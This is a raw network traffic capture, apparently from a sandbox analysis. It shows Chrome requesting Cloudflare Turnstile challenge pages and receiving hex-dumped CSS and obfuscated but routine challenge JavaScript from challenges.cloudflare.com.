2024-12-09 23:06:37 UTC	1369	IN	Data Raw: 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 61 6e 69 6d 61 74 69 6f 6e 3a 66 69 72 65 77 6f 72 6b 20 2e 33 73 20 65 61 73 65 2d 6f 75 74 20 31 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 33 32 20 33 32 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 38 7d 23 73 75 63 63 65 73 73 2d 74 65 78 74 7b 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 64 65 2d 69 6e 20 31 73 20 66 6f 72 77 61 72 64 73 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 66 69 6c 6c 3a 23 30 Data Ascii: troke:#038127;animation:firework .3s ease-out 1;stroke-width:1;stroke-dasharray:32 32;stroke-dashoffset:-8}#success-text{animation:fade-in 1s forwards;opacity:0}.success-circle{stroke-dashoffset:0;stroke-width:2;stroke-miterlimit:10;stroke:#038127;fill:#0
2024-12-09 23:06:37 UTC	1369	IN	Data Raw: 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 2e 74 68 65 6d 65 2d 64 61 72 6b Data Ascii: -dark #challenge-overlay a,.theme-dark #challenge-overlay a:link,.theme-dark #challenge-overlay a:visited{color:#bbb}.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus,.theme-dark #challenge-error-text a:hover,.theme-dark
2024-12-09 23:06:37 UTC	1369	IN	Data Raw: 30 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 Data Ascii: 0}.theme-dark .logo-text{fill:#fff}.theme-dark #fr-helper-loop-link,.theme-dark #fr-helper-loop-link:link,.theme-dark #fr-helper-loop-link:visited{color:#bbb}.theme-dark #fr-helper-loop-link:active,.theme-dark #fr-helper-loop-link:focus,.theme-dark #fr-he
2024-12-09 23:06:37 UTC	1369	IN	Data Raw: 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 3b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 74 72 6f 6b 65 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 66 61 69 6c 75 72 65 2d 63 72 6f 73 73 7b 66 69 6c 6c 3a 23 66 66 66 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 62 6f 74 74 6f 6d 20 63 65 6e 74 65 72 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 2d 69 6e 2e 61 6e 69 6d 61 74 69 6f 6e 7b 30 25 7b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 Data Ascii: stroke-dashoffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#de1303;fill:#de1303;animation:stroke .6s cubic-bezier(.65,0,.45,1) forwards}.failure-cross{fill:#fff;transform-origin:bottom center}@keyframes fade-in.animation{0%{fill:#de1303;stroke:#de13
2024-12-09 23:06:37 UTC	1369	IN	Data Raw: 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 66 6c 6f 77 3a 63 6f 6c 75 6d 6e 20 6e 6f 77 72 61 70 3b 67 61 70 3a 30 3b 68 65 69 67 68 74 3a 31 34 30 70 78 3b 70 61 64 64 69 6e 67 3a 31 32 70 78 20 30 3b 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 Data Ascii: y:flex;flex-flow:column nowrap;gap:0;height:140px;padding:12px 0;place-content:space-between}.size-compact .link-spacer{margin-left:3px;margin-right:3px}.size-compact .cb-c{margin:0 12px;text-align:left}.size-compact .cb-container{margin:0 12px}.size-comp
2024-12-09 23:06:37 UTC	1369	IN	Data Raw: 7b 6c 65 66 74 3a 32 35 35 70 78 7d 2e 72 74 6c 20 23 66 72 2d 68 65 6c 70 65 72 2c 2e 72 74 6c 20 23 66 72 2d 6f 76 65 72 72 75 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 31 36 70 78 3b 77 69 64 74 68 3a 39 30 70 78 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 2c 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 66 6c 65 78 Data Ascii: {left:255px}.rtl #fr-helper,.rtl #fr-overrun{margin-left:.25em;margin-right:0}.rtl #branding{margin:0 0 0 16px;width:90px}.rtl #branding,.rtl.size-compact #branding{padding-left:0;padding-right:0;text-align:left}.rtl.size-compact #branding{align-self:flex
2024-12-09 23:06:37 UTC	1369	IN	Data Raw: 6c 6f 72 3a 23 31 36 36 33 37 39 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 2e 69 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 75 6e 73 70 75 6e 20 2e 63 69 72 63 6c 65 7b 61 6e 69 6d 61 74 69 6f 6e 3a 75 6e 73 70 69 6e 20 2e 37 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a Data Ascii: lor:#166379;text-decoration:underline}#challenge-error-title a:link,#challenge-error-title a:visited{color:#232323}#challenge-error-title .i-wrapper{display:none}.unspun .circle{animation:unspin .7s cubic-bezier(.65,0,.45,1) forwards}.circle{stroke-width:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49742	104.18.95.41	443	4292	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 23:06:39 UTC	727	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8ef8a58f8fb7c32b&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/66847/0x4AAAAAAA0q5dJB-oRzPFUW/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 23:06:39 UTC	331	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 23:06:39 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 116642 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8ef8a59bccd8184d-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 23:06:39 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 78 45 4a 58 34 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.xEJX4={"metadata":{"challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.supported_browsers":"https
2024-12-09 23:06:39 UTC	1369	IN	Data Raw: 67 25 32 30 74 69 6d 65 25 32 30 6f 72 25 32 30 74 68 69 73 25 32 30 63 68 61 6c 6c 65 6e 67 65 25 32 30 70 61 67 65 25 32 30 77 61 73 25 32 30 61 63 63 69 64 65 6e 74 61 6c 6c 79 25 32 30 63 61 63 68 65 64 25 32 30 62 79 25 32 30 61 6e 25 32 30 69 6e 74 65 72 6d 65 64 69 61 72 79 25 32 30 61 6e 64 25 32 30 69 73 25 32 30 6e 6f 25 32 30 6c 6f 6e 67 65 72 25 32 30 61 76 61 69 6c 61 62 6c 65 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 65 65 64 62 61 63 6b 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 53 65 6e 64 25 32 30 46 65 65 64 62 61 63 6b 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 73 75 63 63 65 73 73 22 3a 22 53 75 63 63 65 73 73 25 32 31 22 2c 22 68 75 6d 61 6e 5f 62 75 74 74 6f 6e 5f 74 65 78 74 22 3a 22 56 65 72 69 66 79 25 32 30 79 6f 75 25 32 30 61 72 Data Ascii: g%20time%20or%20this%20challenge%20page%20was%20accidentally%20cached%20by%20an%20intermediary%20and%20is%20no%20longer%20available","turnstile_feedback_description":"Send%20Feedback","turnstile_success":"Success%21","human_button_text":"Verify%20you%20ar
2024-12-09 23:06:39 UTC	1369	IN	Data Raw: 66 4b 2c 66 55 2c 67 35 2c 67 39 2c 67 61 2c 67 62 2c 67 68 2c 67 69 2c 67 66 2c 67 67 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 2d 70 61 72 73 65 49 6e 74 28 67 49 28 39 35 33 29 29 2f 31 2b 70 61 72 73 65 49 6e 74 28 67 49 28 37 38 30 29 29 2f 32 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 31 35 36 38 29 29 2f 33 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 32 31 30 29 29 2f 34 2b 70 61 72 73 65 49 6e 74 28 67 49 28 37 37 37 29 29 2f 35 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 38 36 33 29 29 2f 36 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 31 34 35 29 29 2f 37 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 31 35 Data Ascii: fK,fU,g5,g9,ga,gb,gh,gi,gf,gg){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=-parseInt(gI(953))/1+parseInt(gI(780))/2(parseInt(gI(1568))/3)+-parseInt(gI(1210))/4+parseInt(gI(777))/5+-parseInt(gI(1863))/6+parseInt(gI(1145))/7(parseInt(gI(15
2024-12-09 23:06:39 UTC	1369	IN	Data Raw: 29 5d 28 78 29 29 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 68 6b 2c 48 29 7b 66 6f 72 28 68 6b 3d 68 68 2c 47 5b 68 6b 28 31 35 30 39 29 5d 28 29 2c 48 3d 30 3b 6f 5b 68 6b 28 35 33 39 29 5d 28 48 2c 47 5b 68 6b 28 39 31 34 29 5d 29 3b 47 5b 48 5d 3d 3d 3d 47 5b 6f 5b 68 6b 28 31 32 32 36 29 5d 28 48 2c 31 29 5d 3f 47 5b 68 6b 28 31 31 31 32 29 5d 28 6f 5b 68 6b 28 31 38 35 37 29 5d 28 48 2c 31 29 2c 31 29 3a 48 2b 3d 31 29 3b 72 65 74 75 72 6e 20 47 7d 28 78 29 2c 42 3d 27 6e 41 73 41 61 41 62 27 2e 73 70 6c 69 74 28 27 41 27 29 2c 42 3d 42 5b 68 68 28 31 31 38 35 29 5d 5b 68 68 28 36 35 39 29 5d 28 42 29 2c 43 3d 30 3b 43 3c 78 5b 68 68 28 39 31 34 29 5d 3b 44 3d 78 5b 43 5d 2c 45 3d 66 31 28 67 2c 68 2c 44 29 2c 42 28 45 29 3f 28 46 3d 45 3d 3d 3d 27 73 27 Data Ascii: )](x)):function(G,hk,H){for(hk=hh,G[hk(1509)](),H=0;o[hk(539)](H,G[hk(914)]);G[H]===G[o[hk(1226)](H,1)]?G[hk(1112)](o[hk(1857)](H,1),1):H+=1);return G}(x),B='nAsAaAb'.split('A'),B=B[hh(1185)][hh(659)](B),C=0;C<x[hh(914)];D=x[C],E=f1(g,h,D),B(E)?(F=E==='s'
2024-12-09 23:06:39 UTC	1369	IN	Data Raw: 3d 66 75 6e 63 74 69 6f 6e 28 68 6e 2c 64 2c 65 2c 66 2c 67 29 7b 68 6e 3d 67 4a 2c 64 3d 7b 7d 2c 64 5b 68 6e 28 31 37 34 37 29 5d 3d 68 6e 28 31 30 39 31 29 2c 64 5b 68 6e 28 31 37 39 36 29 5d 3d 68 6e 28 31 37 37 35 29 2c 64 5b 68 6e 28 31 32 33 35 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2a 69 7d 2c 65 3d 64 2c 66 3d 31 2c 67 3d 65 5b 68 6e 28 31 32 33 35 29 5d 28 31 65 33 2c 65 4d 5b 68 6e 28 37 36 32 29 5d 5b 68 6e 28 31 31 34 33 29 5d 28 32 2e 30 34 3c 3c 66 2c 33 32 29 29 2c 65 4d 5b 68 6e 28 31 35 37 35 29 5d 28 66 75 6e 63 74 69 6f 6e 28 68 6f 29 7b 69 66 28 68 6f 3d 68 6e 2c 68 6f 28 31 36 30 37 29 3d 3d 3d 68 6f 28 31 36 30 37 29 29 65 4d 5b 68 6f 28 31 31 31 33 29 5d 26 26 28 65 4d 5b 68 6f 28 31 32 33 39 29 Data Ascii: =function(hn,d,e,f,g){hn=gJ,d={},d[hn(1747)]=hn(1091),d[hn(1796)]=hn(1775),d[hn(1235)]=function(h,i){return h*i},e=d,f=1,g=e[hn(1235)](1e3,eM[hn(762)][hn(1143)](2.04<<f,32)),eM[hn(1575)](function(ho){if(ho=hn,ho(1607)===ho(1607))eM[ho(1113)]&&(eM[ho(1239)
2024-12-09 23:06:39 UTC	1369	IN	Data Raw: 70 28 37 38 37 29 5d 28 69 5b 68 70 28 31 33 32 35 29 5d 28 68 70 28 31 32 30 38 29 2c 6c 29 2c 68 70 28 35 33 34 29 29 2c 31 29 2c 68 70 28 31 32 32 37 29 29 2b 65 4d 5b 68 70 28 37 37 34 29 5d 5b 68 70 28 31 35 35 30 29 5d 2b 27 2f 27 2b 65 4d 5b 68 70 28 37 37 34 29 5d 2e 63 48 2c 27 2f 27 29 2c 65 4d 5b 68 70 28 37 37 34 29 5d 5b 68 70 28 35 39 37 29 5d 29 2c 6e 3d 7b 7d 2c 6e 5b 68 70 28 38 38 38 29 5d 3d 65 4d 5b 68 70 28 37 37 34 29 5d 5b 68 70 28 38 38 38 29 5d 2c 6e 5b 68 70 28 37 36 37 29 5d 3d 65 4d 5b 68 70 28 37 37 34 29 5d 5b 68 70 28 37 36 37 29 5d 2c 6e 5b 68 70 28 31 31 34 31 29 5d 3d 65 4d 5b 68 70 28 37 37 34 29 5d 5b 68 70 28 31 31 34 31 29 5d 2c 6e 5b 68 70 28 39 35 30 29 5d 3d 65 4d 5b 68 70 28 37 37 34 29 5d 5b 68 70 28 31 32 37 31 Data Ascii: p(787)](i[hp(1325)](hp(1208),l),hp(534)),1),hp(1227))+eM[hp(774)][hp(1550)]+'/'+eM[hp(774)].cH,'/'),eM[hp(774)][hp(597)]),n={},n[hp(888)]=eM[hp(774)][hp(888)],n[hp(767)]=eM[hp(774)][hp(767)],n[hp(1141)]=eM[hp(774)][hp(1141)],n[hp(950)]=eM[hp(774)][hp(1271
2024-12-09 23:06:39 UTC	1369	IN	Data Raw: 3a 68 74 28 31 32 39 39 29 2c 27 6e 4d 68 67 59 27 3a 68 74 28 35 35 30 29 7d 2c 6a 3d 64 5b 68 74 28 31 35 30 37 29 5d 28 29 2c 6b 3d 68 74 28 38 30 34 29 2c 6a 5b 68 74 28 36 37 38 29 5d 28 6b 29 3e 2d 31 29 3f 65 4d 5b 68 74 28 31 35 37 35 29 5d 28 66 75 6e 63 74 69 6f 6e 28 68 75 29 7b 68 75 3d 68 74 2c 65 4d 5b 68 75 28 34 37 38 29 5d 28 29 7d 2c 31 65 33 29 3a 68 74 28 31 30 30 38 29 3d 3d 3d 68 74 28 31 30 30 38 29 3f 28 6c 3d 7b 7d 2c 6c 5b 68 74 28 31 37 39 30 29 5d 3d 64 2c 6c 5b 68 74 28 31 35 38 31 29 5d 3d 65 2c 6c 5b 68 74 28 34 36 33 29 5d 3d 66 2c 6c 5b 68 74 28 36 38 33 29 5d 3d 67 2c 6c 5b 68 74 28 31 35 35 38 29 5d 3d 68 2c 6d 3d 6c 2c 65 4d 5b 68 74 28 31 35 37 35 29 5d 28 66 75 6e 63 74 69 6f 6e 28 68 76 29 7b 68 76 3d 68 74 2c 65 4d Data Ascii: :ht(1299),'nMhgY':ht(550)},j=d[ht(1507)](),k=ht(804),j[ht(678)](k)>-1)?eM[ht(1575)](function(hu){hu=ht,eM[hu(478)]()},1e3):ht(1008)===ht(1008)?(l={},l[ht(1790)]=d,l[ht(1581)]=e,l[ht(463)]=f,l[ht(683)]=g,l[ht(1558)]=h,m=l,eM[ht(1575)](function(hv){hv=ht,eM
2024-12-09 23:06:39 UTC	1369	IN	Data Raw: 7d 2c 67 39 5b 67 4a 28 31 38 35 38 29 5d 3d 21 5b 5d 2c 67 39 5b 67 4a 28 34 33 33 29 5d 3d 66 62 2c 67 39 5b 67 4a 28 38 36 32 29 5d 3d 66 58 2c 67 39 5b 67 4a 28 31 32 31 39 29 5d 3d 67 32 2c 67 39 5b 67 4a 28 31 31 31 30 29 5d 3d 67 33 2c 67 39 5b 67 4a 28 39 36 36 29 5d 3d 66 59 2c 67 39 5b 67 4a 28 31 31 33 30 29 5d 3d 67 34 2c 67 39 5b 67 4a 28 31 38 34 31 29 5d 3d 67 31 2c 67 39 5b 67 4a 28 31 34 37 32 29 5d 3d 67 30 2c 67 39 5b 67 4a 28 31 37 37 32 29 5d 3d 66 70 2c 67 39 5b 67 4a 28 31 34 30 30 29 5d 3d 66 57 2c 67 39 5b 67 4a 28 31 30 33 36 29 5d 3d 66 56 2c 67 39 5b 67 4a 28 39 33 32 29 5d 3d 66 67 2c 67 39 5b 67 4a 28 37 37 38 29 5d 3d 66 68 2c 67 39 5b 67 4a 28 35 34 32 29 5d 3d 66 44 2c 67 39 5b 67 4a 28 39 31 31 29 5d 3d 66 46 2c 67 39 5b Data Ascii: },g9[gJ(1858)]=![],g9[gJ(433)]=fb,g9[gJ(862)]=fX,g9[gJ(1219)]=g2,g9[gJ(1110)]=g3,g9[gJ(966)]=fY,g9[gJ(1130)]=g4,g9[gJ(1841)]=g1,g9[gJ(1472)]=g0,g9[gJ(1772)]=fp,g9[gJ(1400)]=fW,g9[gJ(1036)]=fV,g9[gJ(932)]=fg,g9[gJ(778)]=fh,g9[gJ(542)]=fD,g9[gJ(911)]=fF,g9[
2024-12-09 23:06:39 UTC	1369	IN	Data Raw: 74 75 72 6e 20 68 28 69 2c 6a 29 7d 2c 27 72 4f 72 6f 6b 27 3a 6a 33 28 31 32 39 39 29 2c 27 47 55 54 67 7a 27 3a 6a 33 28 31 35 34 34 29 2c 27 54 6f 59 78 49 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 21 3d 68 7d 2c 27 59 6f 41 51 5a 27 3a 6a 33 28 38 31 35 29 2c 27 51 70 4e 47 62 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2a 69 7d 2c 27 45 6d 78 73 51 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 5a 4f 62 45 71 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 45 69 4a 4d 76 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 71 5a 69 57 46 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c Data Ascii: turn h(i,j)},'rOrok':j3(1299),'GUTgz':j3(1544),'ToYxI':function(h,i){return i!=h},'YoAQZ':j3(815),'QpNGb':function(h,i){return h*i},'EmxsQ':function(h,i){return h<i},'ZObEq':function(h,i){return i==h},'EiJMv':function(h,i){return h(i)},'qZiWF':function(h,
2024-12-09 23:06:39 UTC	1369	IN	Data Raw: 3b 66 6f 72 28 4e 3d 44 5b 6a 36 28 31 30 30 35 29 5d 28 30 29 2c 78 3d 30 3b 64 5b 6a 36 28 38 37 30 29 5d 28 31 36 2c 78 29 3b 49 3d 31 2e 32 38 26 4e 7c 49 3c 3c 31 2c 64 5b 6a 36 28 38 32 33 29 5d 28 4a 2c 6a 2d 31 29 3f 28 4a 3d 30 2c 48 5b 6a 36 28 39 30 32 29 5d 28 6f 28 49 29 29 2c 49 3d 30 29 3a 4a 2b 2b 2c 4e 3e 3e 3d 31 2c 78 2b 2b 29 3b 7d 45 2d 2d 2c 64 5b 6a 36 28 31 65 33 29 5d 28 30 2c 45 29 26 26 28 45 3d 4d 61 74 68 5b 6a 36 28 36 31 33 29 5d 28 32 2c 47 29 2c 47 2b 2b 29 2c 64 65 6c 65 74 65 20 43 5b 44 5d 7d 65 6c 73 65 20 66 6f 72 28 4e 3d 42 5b 44 5d 2c 78 3d 30 3b 78 3c 47 3b 49 3d 64 5b 6a 36 28 34 36 34 29 5d 28 64 5b 6a 36 28 39 32 35 29 5d 28 49 2c 31 29 2c 31 2e 30 33 26 4e 29 2c 64 5b 6a 36 28 38 32 33 29 5d 28 4a 2c 6a 2d 31 Data Ascii: ;for(N=D[j6(1005)](0),x=0;d[j6(870)](16,x);I=1.28&N\|I<<1,d[j6(823)](J,j-1)?(J=0,H[j6(902)](o(I)),I=0):J++,N>>=1,x++);}E--,d[j6(1e3)](0,E)&&(E=Math[j6(613)](2,G),G++),delete C[D]}else for(N=B[D],x=0;x<G;I=d[j6(464)](d[j6(925)](I,1),1.03&N),d[j6(823)](J,j-1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49743	104.18.95.41	443	4292	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 23:06:39 UTC	739	OUT	GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/66847/0x4AAAAAAA0q5dJB-oRzPFUW/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 23:06:39 UTC	240	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 23:06:39 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8ef8a59d4c5c5e66-EWR alt-svc: h3=":443"; ma=86400
